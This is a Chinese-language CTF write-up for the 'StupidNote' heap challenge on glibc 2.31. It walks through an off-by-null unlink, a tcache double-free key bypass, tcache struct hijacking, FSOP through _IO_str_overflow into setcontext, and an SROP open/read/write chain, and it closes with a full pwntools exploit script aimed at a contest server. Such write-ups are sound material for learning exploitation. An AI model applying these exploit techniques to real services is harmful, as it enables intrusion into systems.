MENU

【PWNHUB双蛋内部赛】StupidNote Writeup

January 1, 2021 • Read: 318 • Pwn

みんな、良いお年を

又是新的一年,今年一定要更加努力哦!也希望正在看我的博客的各位越来越好,成为AK全场的大师傅!

感谢cnitlrt师傅这段时间以来对我的照顾!让我学到了很多很多!

题目背景

来自PWNHUB2020内部赛的一道题目,经过朋友的邀请我加群想看看题目。

结果没想到,开局就是给我当头一棒。

图片

这道题目,应该是放出来了将近一天,任然没有人拿到一血,所以主办方放出了一些提示。

但是,在libc-2.31下的题目我可是一次都没有做过啊,对于更新的检查啥的我也是从来没有了解过。经过这道题目,我对libc-2.31有了一个浅显的认识。

题目出的非常好,结合的知识点相当全面,使我受益匪浅。

题目一览

给出的hint很有限,但是起码知道了一个入手点。接下来我们来看看具体的代码。

图片

先来看看开头的那个函数干了什么。这里似乎用到了一些花指令的东西,我们尝试在他下面用p键建立IDA未能自动识别的函数。

在这个函数内,我们可以看到:

图片

使用ptctl开启了沙箱保护,这里我们用seccomp-tools进行检测。

图片

通过检测后的代码可以很清楚的看到,几乎程序禁用了大部分可以执行shell的函数(间接调用),所以这道题我们需要考虑用orw(open,read,write)来读写flag。

接下来就要开始阅读程序功能

这是整体的代码逻辑,程序有两个主功能:

图片

add函数中对malloc的size做了限制,不能够大于0x200。

图片

图片

这也就遏制了我们利用largebin attack的一些念想。

程序主功能只有两个,但是通过free_hook,程序还加入了另外两个功能:

图片

没错,程序通过free_hook引入了两个功能,edit_heap和show_heap,但是这也意味着,在使用这两个功能之后就必须free掉这个chunk。

而在edit_heap函数中,就存在很明显的off by null

图片

但是在这里读取size的形式和以前不太一样,他是根据堆块的位置去寻找堆块前的size位,然后根据size位的内容进行读写(-9 的原因是,prev_inuse = 1,堆块对齐 = 8),读写的过程中存在off by null。

show函数通过puts来输出堆块内容:

图片

利用过程

这次的利用思路采取自然联想的方法,从一个入手点出发,逐个解决会遇到的问题,与做题的真实情况较为贴切。

1.如何构造才能利用 off by null

我们肯定要先想办法利用off by null来构成一个UAF才能进行下一步的利用。

但是在libc2.31上的话,off by null是比较难利用的,我们一般利用off by null来构造重叠堆块(house_of_einherjar)来进行UAF,但是在libc2.29的时候,unlink的时候对size位进行了检测,使得使用这种方法会报错。

对于glibc-2.29新加入的检测可以看这篇文章(http://blog.eonew.cn/archives/1167#chunk_extend

/* consolidate backward */
if (!prev_inuse(p)) {
  prevsize = prev_size (p);
  size += prevsize;
  p = chunk_at_offset(p, -((long) prevsize));
  if (__glibc_unlikely (chunksize(p) != prevsize))
    malloc_printerr ("corrupted size vs. prev_size while consolidating");
  unlink_chunk (av, p);
}

通过这样的检测,使得我们无法使用一般的方法进行构造堆重叠,所以在这次更新后,off by null的利用只有唯一的方法——伪造FD和BK。
早在前段日子,我们就学习过如何构造FD和BK来控制bss段上的heap_ptr数组,而这里也是类似于那里的绕过方法。

我们需要知道当前堆栈的指针,然后伪造才能当前堆块的FD和BK指向当前堆块。

这样的利用方法,类似于:http://blog.eonew.cn/archives/1233这道题,大家有兴趣的可以学习一下。

2.怎么才能泄露堆地址

这可能是这道题中最简单的一个部分,泄露堆地址。

由于libc版本高于libc-2.27,所以程序应该默认开启了tcache机制,我们知道tcache类似于fastbin,当堆块被free状态下时,会利用fd位置作为指向下一个堆块位置。

所以我们这里就可以利用这个机制,当我们申请回这个堆块的时候,这块位置的内容不会被清空,所以我们直接输出这里的内容,就可以轻松获得在堆上的一个指针,通过偏移计算出heapbase。

这里我们由于在申请堆块的时候,必须要写入一个字符,所以我这里写入的 'a' 会覆盖掉部分的指针内容,不过这并不影响我们计算偏移值。

# leak heapbase by tcache
add(0x18)  # 0
add(0x18)  # 1
free(0)
free(1)
add(0x18)  # 0
free(0)
r.recvuntil('Info:')
heap_base = u64(r.recvuntil('\n', drop=True)[-6:].ljust(8, '\x00')) - 0x261
log.success("heap_base: " + hex(heap_base))

3.具体怎么来伪造FD和BK,需要伪造哪些内容

首先我们要找到一个位置,这个位置可以指向堆块的头部。

我们首先需要绕过这个检测

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
  malloc_printerr (check_action, "corrupted double-linked list", P, AV);

我们可以构造 FD = ptr - 0x18, BK = ptr - 0x10,*ptr = fake_chunk_ptr,从而绕过检测。
如果这里没搞懂的,可以看一下我之前写的unlink的文章。

其次我们需要伪造最后一个堆块的prev_inuseprev_size,这两个指针的内容。

PREV_INUSE我们可以通过off by null来复写0xF8 size的堆块,使其size位从

0x101 变成了 0x100。

其次就是伪造prev_size,来绕过这个新加入的检测机制。

这里需要注意的几点是:

1.由于edit之后会直接free掉,所以我们这里用于off by null的那个chunk,一定不能复写prev_size的内容(如果是进入unsorted bin就会复写)。所以我们这里要让off by null的chunk进入tcache中,这样就不会复写那部分的内容。

2.当我们free最上面的那个堆块的时候(现在看来好像不是必要的,应该是那个时候脑抽了)。

不能覆盖掉伪造的size位,而glibc-2.29以上的tcache中有一个key位,这个位的写入会覆盖掉我们伪造的size位,从而导致报错。所以我们这里只能让他写入next的位置,也就是让这个堆块进入到fastbin中(把tcache填满)。

3.当我们要申请0x68 size的堆块的时候,会优先去tcache中申请,但是在这之前tcache都被我们填满了内容,所以我们要把tcache的数据全部都拿出来。这样在下一次申请的时候才能够从unsorted bin中分割。

typedef struct tcache_entry
{
    struct tcache_entry *next;
    /* This field exists to detect double frees.  */
    struct tcache_perthread_struct *key;
} tcache_entry;

unlink利用代码:

# unlink
chunk_addr = heap_base + 0x2e0
FD = chunk_addr + 0x20 - 0x18
BK = chunk_addr + 0x20 - 0x10
add(0x68, 'a' * 8 + p64(0x101) + p64(FD) + p64(BK) + p64(chunk_addr))  # 0
add(0x68, 'target')  # 1 overlapping
add(0x28)  # 2
add(0xF8)  # 3
add(0x28)  # 4
fill(0x68, 5)
fill(0xF8, 5)
edit(2, 'a' * 0x20 + p64(0x70 + 0x70 + 0x30 - 0x10))  # insert to tcache
free(0)  # insert to fastbin
free(3)  # insert to unsortedbin => unlink
add(0x58, 'a' * 8)  # 0
for i in range(0x8):
    add(0x68)  # 2, 3, 5, 6, 7, 8, 9, 10
add(0x68)  # 11 overlapping with 1
add(0x128)  # 12

4.堆块重叠后怎么来任意写

我这里首先考虑到的就是相对方便的tcache,我们可以利用tcache double free,由于新版本加入了key的检测,我们直接利用野指针来进行double free的方法以及失效(不过这道题也没有)。

检测就是,如果当前key的内容将要释放的tcache的指针内容对应,那么会对tcache列表进行一个遍历来判断有没有double free。

所以有了这样的检测,我们在fastbin attack中常用的a->b->a方法也无法绕过。

if (__glibc_unlikely (e->key == tcache))
{
    tcache_entry *tmp;
    LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
    for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
        if (tmp == e)
            malloc_printerr ("free(): double free detected in tcache 2");
    /* If we get here, it was a coincidence.  We've wasted a
       few cycles, but don't abort.  */
}

我自己想到了两种绕过方法
1.修改size位让tcache free进入不同的位置

2.利用UAF来清空key的内容。

我们这里就利用第二种方法。通过overlapping chunk来清空key的内容,从而构成double free。

绕过了检测后,我们就要考虑怎么样才能任意写,一种方法是直接修改tcache的next内容来劫持到想要写的地方,由于tcache没有size检测,这会变的非常的容易,但是这种方法的弊端就是,我们一次off by one之后只能任意写一次。

而且这里由于开启了沙箱保护,我们一次写入的肯定不够,所以我们选择另外一种简单又方便的方法:劫持tcache struct 的内容。

劫持这部分内容,可以修改其中的数据,达到任意分配的目的。这一部分的细节我不再展开,有兴趣的可以看我之前写过的tcache利用。

这部分的坑点:

1.修改tcache struct的时候会遇到一个新的检测:

当malloc的时候会检测tcache的counts是否大于0,只有大于0才会从tcache中取出,所以如果我们修改结构到一个counts为0的index上,那么是申请不出来的,不过也不会报错。

具体的代码我还没有找到,先留个坑,有知道的师傅可以评论区留言一下。

# bypass tcache counts check
add(0x68)  # 0
free(0)
# tcache double free
free(1)
edit(11, p64(0) * 2)  # bypass tcache check
# uaf & tcache attack tcache struct
add(0x68, p64(heap_base + 0xb0))  # 0
add(0x68, p64(heap_base + 0xb0))  # 1
add(0x68, p64(malloc_hook_addr) + p64(0) * 9 + p64(stdout_addr))  # 11

5.如何泄露libc

这部分也比较容易,我们可以利用unsorted bin leak来达到目的,这里就不做过多的讲解了。

这里我计算出了很多变量的数据,这部分数据在接下来的利用过程中我会做介绍。

# unsorted bin leak libc
free(0)
malloc_hook_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 592 - 0x10
log.success("malloc_hook_addr: " + hex(malloc_hook_addr))
libc = LibcSearcher('__malloc_hook', malloc_hook_addr)
libc_base = malloc_hook_addr - libc.dump('__malloc_hook')
log.success("libc_base: " + hex(libc_base))
setcontext_addr = libc_base + libc.dump('setcontext')
log.success("setcontext_addr: " + hex(setcontext_addr))
stdout_addr = libc_base + libc.dump('_IO_2_1_stderr_')
log.success("stdout_addr: " + hex(stdout_addr))
pop_rax_addr = libc_base + 0x4a550
pop_rdi_addr = libc_base + 0x26b72
pop_rsi_addr = libc_base + 0x27529
pop_rdx_rbx_addr = libc_base + 0x162866
syscall_addr = libc_base + 0x66229

6.如何构造才能ORW

这一步是我在这之前从未接触过的,这一部分的内容非常巧妙,希望各位仔细品读,cnitlrt师傅的文章:https://www.anquanke.com/post/id/216290#h3-2

我们可以利用setcontext函数来做SROP,从而把堆上的利用转化为ROP链的设计。

但是我们知道,调用setcontext函数需要传入一定的参数。

int setcontext(const ucontext_t *ucp);

所以我们遇到的一个问题是,如何才能传参数,一般都会想到的是__free_hook吧,但是好巧不巧的是,这道题的__free_hook被用于去做edit和show这两件事情了,我们就算写入了也不会被执行,所以这里只能利用__malloc_hook来劫持,但是如何才能通过__malloc_hook传递我们想要的参数呢?
如果这道题对size没有限制,那么我们设置的size大小就会成为参数,可惜这道题限制了size大小不能超过0x200,所以我们不能简单的利用malloc进行传参。

这里可以考虑到一个函数,_IO_str_overflow,我们修改vtable指向这个函数(由于glibc2.27以上就对vtable的范围做了检测,所以这里我们不能简单的修改vtable到堆上的某个位置)。

然后我们可以利用FSOP,在程序退出执行_IO_flush_all_lockp的时候,使得程序去执行_IO_str_overflow函数。

int
_IO_str_overflow (FILE *fp, int c)
{
  int flush_only = c == EOF;
  size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
        return EOF;
      else
        {
          char *new_buf;
          char *old_buf = fp->_IO_buf_base;
          size_t old_blen = _IO_blen (fp);
          size_t new_size = 2 * old_blen + 100;
          if (new_size < old_blen)
            return EOF;
          new_buf = malloc (new_size);
          if (new_buf == NULL)
            {
              /*          __ferror(fp) = 1; */
              return EOF;
            }
          if (old_buf)
            {
              memcpy (new_buf, old_buf, old_blen);
              free (old_buf);
              /* Make sure _IO_setb won't try to delete _IO_buf_base. */
              fp->_IO_buf_base = NULL;
            }
          memset (new_buf + old_blen, '\0', new_size - old_blen);
          _IO_setb (fp, new_buf, new_buf + new_size, 1);
          fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
          fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
          fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
          fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
          fp->_IO_write_base = new_buf;
          fp->_IO_write_end = fp->_IO_buf_end;
        }
    }
  if (!flush_only)
    *fp->_IO_write_ptr++ = (unsigned char) c;
  if (fp->_IO_write_ptr > fp->_IO_read_end)
    fp->_IO_read_end = fp->_IO_write_ptr;
  return c;
}

这部分的构造方法,我在之前已经提及:http://blog.wjhwjhn.com/archives/138/
如果有不懂的,可以去了解一下如何构造进行传参。

7.怎么出错了?

没错,第六步的传参思路是有问题的,让我们来回到setcontext。

我们可以发现在之前的版本中setcontext的代码是这样的:

http://blog.eonew.cn/archives/993

<setcontext>:     push   rdi
<setcontext+1>:   lea    rsi,[rdi+0x128]
<setcontext+8>:   xor    edx,edx
<setcontext+10>:  mov    edi,0x2
<setcontext+15>:  mov    r10d,0x8
<setcontext+21>:  mov    eax,0xe
<setcontext+26>:  syscall 
<setcontext+28>:  pop    rdi
<setcontext+29>:  cmp    rax,0xfffffffffffff001
<setcontext+35>:  jae    0x7ffff7a7d520 <setcontext+128>
<setcontext+37>:  mov    rcx,QWORD PTR [rdi+0xe0]
<setcontext+44>:  fldenv [rcx]
<setcontext+46>:  ldmxcsr DWORD PTR [rdi+0x1c0]
<setcontext+53>:  mov    rsp,QWORD PTR [rdi+0xa0]
<setcontext+60>:  mov    rbx,QWORD PTR [rdi+0x80]
<setcontext+67>:  mov    rbp,QWORD PTR [rdi+0x78]
<setcontext+71>:  mov    r12,QWORD PTR [rdi+0x48]
<setcontext+75>:  mov    r13,QWORD PTR [rdi+0x50]
<setcontext+79>:  mov    r14,QWORD PTR [rdi+0x58]
<setcontext+83>:  mov    r15,QWORD PTR [rdi+0x60]
<setcontext+87>:  mov    rcx,QWORD PTR [rdi+0xa8]
<setcontext+94>:  push   rcx
<setcontext+95>:  mov    rsi,QWORD PTR [rdi+0x70]
<setcontext+99>:  mov    rdx,QWORD PTR [rdi+0x88]
<setcontext+106>: mov    rcx,QWORD PTR [rdi+0x98]
<setcontext+113>: mov    r8,QWORD PTR [rdi+0x28]
<setcontext+117>: mov    r9,QWORD PTR [rdi+0x30]
<setcontext+121>: mov    rdi,QWORD PTR [rdi+0x68]
<setcontext+125>: xor    eax,eax
<setcontext+127>: ret    
<setcontext+128>: mov    rcx,QWORD PTR [rip+0x356951]        # 0x7ffff7dd3e78
<setcontext+135>: neg    eax
<setcontext+137>: mov    DWORD PTR fs:[rcx],eax
<setcontext+140>: or     rax,0xffffffffffffffff
<setcontext+144>: ret

由于我们不能够执行,fldenv [rcx]这一行代码,我们通常都是设置__malloc_hook到setcontext+53这个位置的,然后利用第一个参数正好是rdi来进行利用。
没想到的是,在glibc2.29版本,这部分内容发生了改动,变成了以下这个样子。

.text:0000000000055E00                 public setcontext ; weak
.text:0000000000055E00 setcontext      proc near               ; CODE XREF: .text:000000000005C16C↓p
.text:0000000000055E00                                         ; DATA XREF: LOAD:000000000000C6D8↑o
.text:0000000000055E00                 push    rdi
.text:0000000000055E01                 lea     rsi, [rdi+128h]
.text:0000000000055E08                 xor     edx, edx
.text:0000000000055E0A                 mov     edi, 2
.text:0000000000055E0F                 mov     r10d, 8
.text:0000000000055E15                 mov     eax, 0Eh
.text:0000000000055E1A                 syscall                 ; $!
.text:0000000000055E1C                 pop     rdx
.text:0000000000055E1D                 cmp     rax, 0FFFFFFFFFFFFF001h
.text:0000000000055E23                 jnb     short loc_55E80
.text:0000000000055E25                 mov     rcx, [rdx+0E0h]
.text:0000000000055E2C                 fldenv  byte ptr [rcx]
.text:0000000000055E2E                 ldmxcsr dword ptr [rdx+1C0h]
.text:0000000000055E35                 mov     rsp, [rdx+0A0h]
.text:0000000000055E3C                 mov     rbx, [rdx+80h]
.text:0000000000055E43                 mov     rbp, [rdx+78h]
.text:0000000000055E47                 mov     r12, [rdx+48h]
.text:0000000000055E4B                 mov     r13, [rdx+50h]
.text:0000000000055E4F                 mov     r14, [rdx+58h]
.text:0000000000055E53                 mov     r15, [rdx+60h]
.text:0000000000055E57                 mov     rcx, [rdx+0A8h]
.text:0000000000055E5E                 push    rcx
.text:0000000000055E5F                 mov     rsi, [rdx+70h]
.text:0000000000055E63                 mov     rdi, [rdx+68h]
.text:0000000000055E67                 mov     rcx, [rdx+98h]
.text:0000000000055E6E                 mov     r8, [rdx+28h]
.text:0000000000055E72                 mov     r9, [rdx+30h]
.text:0000000000055E76                 mov     rdx, [rdx+88h]
.text:0000000000055E7D                 xor     eax, eax
.text:0000000000055E7F                 retn

没错,之前的这些数据内容,都从rdi转到了rdx,这让我们的利用难度提升了。
因为rdx是x64传入第三个参数的时候才会用到的,我们这里肯定没有可以劫持的地方可以用于传入三个参数。

不过,多调试肯定不会吃亏,在调试的过程中,我在_IO_str_overflow函数中发现了一个大宝贝。

图片

没错,在执行_IO_str_overflow的时候会把rdx赋值为一个值,而这个值正是指向我们可控的stderr位置。(我这里FSOP利用的是stderr这个fp指针)

0x0   _flags
0x8   _IO_read_ptr
0x10  _IO_read_end
0x18  _IO_read_base
0x20  _IO_write_base
0x28  _IO_write_ptr
0x30  _IO_write_end
0x38  _IO_buf_base
0x40  _IO_buf_end
0x48  _IO_save_base
0x50  _IO_backup_base
0x58  _IO_save_end
0x60  _markers
0x68  _chain
0x70  _fileno
0x74  _flags2
0x78  _old_offset
0x80  _cur_column
0x82  _vtable_offset
0x83  _shortbuf
0x88  _lock
0x90  _offset
0x98  _codecvt
0xa0  _wide_data
0xa8  _freeres_list
0xb0  _freeres_buf
0xb8  __pad5
0xc0  _mode
0xc4  _unused2
0xd8  vtable

我们通过上面的表格来找一找0x28位置对应的内容,发现正好对应的是_IO_write_ptr指针,这个指针在之前的构造中我们是改为0xffffffffffffffff,来使得在if判断的时候一定能够成功,而这里我们构造成我们可控的堆块地址,这样的话其实也是一个比较大的数(如果开启了PIE),那么也可以当做一个有效的构造,更重要的是,我们可以利用这个来传参到setcontext。
所以我们只要构造成如下图所示,那么我们就可以传参到setcontext了。

图中_IO_write_ptr指针位置为可控的堆块。

图片

满足了这些条件后,我们再用fsop来看看是否可以执行。

图片

题外话

以上方法构造较为巧妙,如果不使用rdx残余信息或者不通过操作IO_FILE(比如__free_hook可以利用的情况下)那该怎么办呢?

我们可以考虑使用ropper在libc中搜索到一个gadget,该gadget形式一般如下。

ropper -f "./libc-2.31.so" --search "mov rdx"

图片

通过类似这样的gaget,来把rdi的参数传递到rdx上,然后根据gadget再构造堆块信息。

在libc-2.31下gadget的形式一般是:

mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; 

在libc-2.29下gadget的形式一般是:

mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax;

libc-2.27及以下,参数直接是rdi,所以不需要gadget。
找到了一张描述该过程的图片,可以根据图片上的内容来更为形象的理解:

图片

图片来源:https://bbs.pediy.com/thread-263640.htm

8.ORW的ROP链设计

完成了以上步骤后,我们才可以成功的执行setcontext来构造SROP,这个利用链大概是这样的。

exit -> _IO_all_flush_lockp -> _IO_str_overflow -> malloc -> __malloc_hook -> setcontext -> SROP -> orw

接下来我们就可以利用setcontext来控制到程序的rsi,下一步我们只需要构造ROP链即可。
要构造出ROP链,我们首先就要需要几个能够控制寄存器的gadget。

我们这里利用ROPgadget和ropper一起来找ROP,

我是通过ROPgadget来找到了以下ROP

pop rax ; ret

通过命令:

ROPgadget --binary=libc-2.31.so | grep "pop rax"

找到了这一行
图片

0x000000000004a550 : pop rax ; ret

pop rdi ; ret

通过命令:

ROPgadget --binary=libc-2.31.so | grep "pop rdi"

找到了这一行
图片

0x0000000000026b72 : pop rdi ; ret

pop rsi ; ret

通过命令:

ROPgadget --binary=libc-2.31.so | grep "pop rsi"

找到了这一行
图片

0x0000000000027529 : pop rsi ; ret

pop rdx ; ret

这个命令我没有找到较为合适的,但是后来经过思考,发现似乎并不需要,在RW过程中,我们第三个参数都是size,我们只要在setcontext的时候直接设置rdx为0x100,接下来就不需要对他进行修改,一直保留着这个内容

syscall ; ret

这个命令我在ROPgadget没有找到合适的,后来问了一下师傅,听说可以用ropper找到,那我就尝试了一下。如果有更好的方法欢迎各位指出!

图片

我是用ropper的asm功能实现的:

ropper --asm "syscall;ret"

图片

先得到这个指令的汇编指令内容:0f05c3

然后通过ropper的opcode搜索功能进行搜索

ropper --file libc-2.31.so --opcode 0f05c3

图片

得到:

0x0000000000066229: 0f05c3; 

注意,我们这里搜索的gadget都是在libc中的,因为我们有libc的基址所以可以这样利用。但是这道题有个恶心的地方就在于他没有给libc,所以我们得到的这些偏移应该要和服务器libc的偏移一致,我这里运气比较好,本地打通了,服务器也正好打通了。

找到了以上的gadget后,我们就可以构造ROP链了。

这里需要记住的几个知识点:

1.syscall,通过rax来传递调用号

2.setcontext是不能够设置rax的值,因为在结尾处做了xor eax,eax。其实这个就是优化版的mov eax,0。

3.open的调用号是2,read的调用号是0,write的调用号是1

4.要给伪造后的rsp的上部预留一些空间(在setcontext中至少预留要0x8),尽量不要在这之上填写有用的信息,比如我刚开始的时候把“flag”字符串放在这个位置,结果在执行的时候就被覆盖掉了。

其他细节就看代码吧!

# SROP
fake_frame_addr = heap_base + 0xfa0
frame = SigreturnFrame()
frame.rax = 2
frame.rdi = fake_frame_addr + 0xF8
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = libc_base + 0x25679  # ret
rop_data = [
pop_rax_addr,  # sys_open('flag', 0)
2,
syscall_addr,
pop_rax_addr,  # sys_read(flag_fd, heap, 0x100)
0,
pop_rdi_addr,
3,
pop_rsi_addr,
fake_frame_addr + 0x200,
syscall_addr,
pop_rax_addr,  # sys_write(1, heap, 0x100)
1,
pop_rdi_addr,
1,
pop_rsi_addr,
fake_frame_addr + 0x200,
syscall_addr
]
payload = str(frame).ljust(0xF8, '\x00') + "flag\x00\x00\x00\x00" + p64(0) + flat(rop_data)
add(0x200, payload)  # fake_frame

9.成功啦!

在程序的执行的最后,我们终于成功得到了flag。

图片

总结

最后一步可以说是这也是我研究了十多个小时(睡觉都没睡好)最终得到的一些认可吧,我觉得题目出的相当的好,结合了绝大多数我会的和我不会的知识点,让我受益匪浅。

当然,只有我自己一定肯定不能够成功,这里还是要多谢cnitlrt师傅对我的帮助。

PS:我没有参加比赛,我也没有提交flag,研究此题的目的就是学习

EXP:

from pwn import *
from LibcSearcher import *

# r = process('./pwn')
r = remote('139.217.102.146', 65386)
context.log_level = "debug"
context.arch = "amd64"


def choice(idx):
    r.sendlineafter("choice:", str(idx))


def add(size, content='a'):
    choice(1)
    r.sendlineafter("Size of info:", str(size))
    r.sendafter("Info:", content)


def edit(idx, content):
    choice(2)
    r.sendlineafter("index:", str(idx))
    choice(1)
    r.sendafter("Info:", content)


def show(idx):
    choice(2)
    r.sendlineafter("index:", str(idx))
    choice(2)


def free(idx):
    show(idx)


def fill(size, idx):
    for i in range(0x7):
        add(size)
    for i in range(0x7):
        free(idx + i)


# leak heapbase by tcache
add(0x18)  # 0
add(0x18)  # 1
free(0)
free(1)
add(0x18)  # 0
free(0)
r.recvuntil('Info:')
heap_base = u64(r.recvuntil('\n', drop=True)[-6:].ljust(8, '\x00')) - 0x261
log.success("heap_base: " + hex(heap_base))

# unlink
chunk_addr = heap_base + 0x2e0
FD = chunk_addr + 0x20 - 0x18
BK = chunk_addr + 0x20 - 0x10

add(0x68, 'a' * 8 + p64(0x101) + p64(FD) + p64(BK) + p64(chunk_addr))  # 0
add(0x68, 'target')  # 1 overlapping
add(0x28)  # 2
add(0xF8)  # 3
add(0x28)  # 4
fill(0x68, 5)
fill(0xF8, 5)

edit(2, 'a' * 0x20 + p64(0x70 + 0x70 + 0x30 - 0x10))  # insert to tcache
free(0)  # insert to fastbin
free(3)  # insert to unsortedbin => unlink

add(0x58, 'a' * 8)  # 0
for i in range(0x8):
    add(0x68)  # 2, 3, 5, 6, 7, 8, 9, 10

add(0x68)  # 11 overlapping with 1
add(0x128)  # 12

# unsorted bin leak libc
free(0)
malloc_hook_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 592 - 0x10
log.success("malloc_hook_addr: " + hex(malloc_hook_addr))
libc = LibcSearcher('__malloc_hook', malloc_hook_addr)

libc_base = malloc_hook_addr - libc.dump('__malloc_hook')
log.success("libc_base: " + hex(libc_base))

setcontext_addr = libc_base + libc.dump('setcontext')
log.success("setcontext_addr: " + hex(setcontext_addr))

stdout_addr = libc_base + libc.dump('_IO_2_1_stderr_')
log.success("stdout_addr: " + hex(stdout_addr))

pop_rax_addr = libc_base + 0x4a550
pop_rdi_addr = libc_base + 0x26b72
pop_rsi_addr = libc_base + 0x27529
pop_rdx_rbx_addr = libc_base + 0x162866
syscall_addr = libc_base + 0x66229

# bypass tcache counts check
add(0x68)  # 0
free(0)

# tcache double free
free(1)
edit(11, p64(0) * 2)  # bypass tcache check

# uaf & tcache attack tcache struct
add(0x68, p64(heap_base + 0xb0))  # 0
add(0x68, p64(heap_base + 0xb0))  # 1
add(0x68, p64(malloc_hook_addr) + p64(0) * 9 + p64(stdout_addr))  # 11

# SROP
fake_frame_addr = heap_base + 0xfa0
frame = SigreturnFrame()
frame.rax = 2
frame.rdi = fake_frame_addr + 0xF8
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = libc_base + 0x25679  # : ret

rop_data = [
    pop_rax_addr,  # sys_open('flag', 0)
    2,
    syscall_addr,

    pop_rax_addr,  # sys_read(flag_fd, heap, 0x100)
    0,
    pop_rdi_addr,
    3,
    pop_rsi_addr,
    fake_frame_addr + 0x200,
    syscall_addr,

    pop_rax_addr,  # sys_write(1, heap, 0x100)
    1,
    pop_rdi_addr,
    1,
    pop_rsi_addr,
    fake_frame_addr + 0x200,
    syscall_addr
]

payload = str(frame).ljust(0xF8, '\x00') + "flag\x00\x00\x00\x00" + p64(0) + flat(rop_data)
add(0x200, payload)  # fake_frame

# hijack IO_FILE(stderr)
stderr_payload = p64(0) + p64(0) * 4 + p64(fake_frame_addr) + p64(0) + p64(0) + p64(0)
stderr_payload = stderr_payload.ljust(0xD8, '\x00') + p64(libc_base + 0x1ed560)  # _IO_str_jumps
add(0xF8, stderr_payload)

# hijack __malloc_hook
add(0x58, p64(setcontext_addr + 61))

# exit -> _IO_all_flush_lockp -> _IO_str_overflow -> malloc -> __malloc_hook -> setcontext -> SROP -> orw
choice(3)
r.interactive()
Last Modified: May 15, 2021
Archives QR Code Tip
QR Code for this page
Tipping QR Code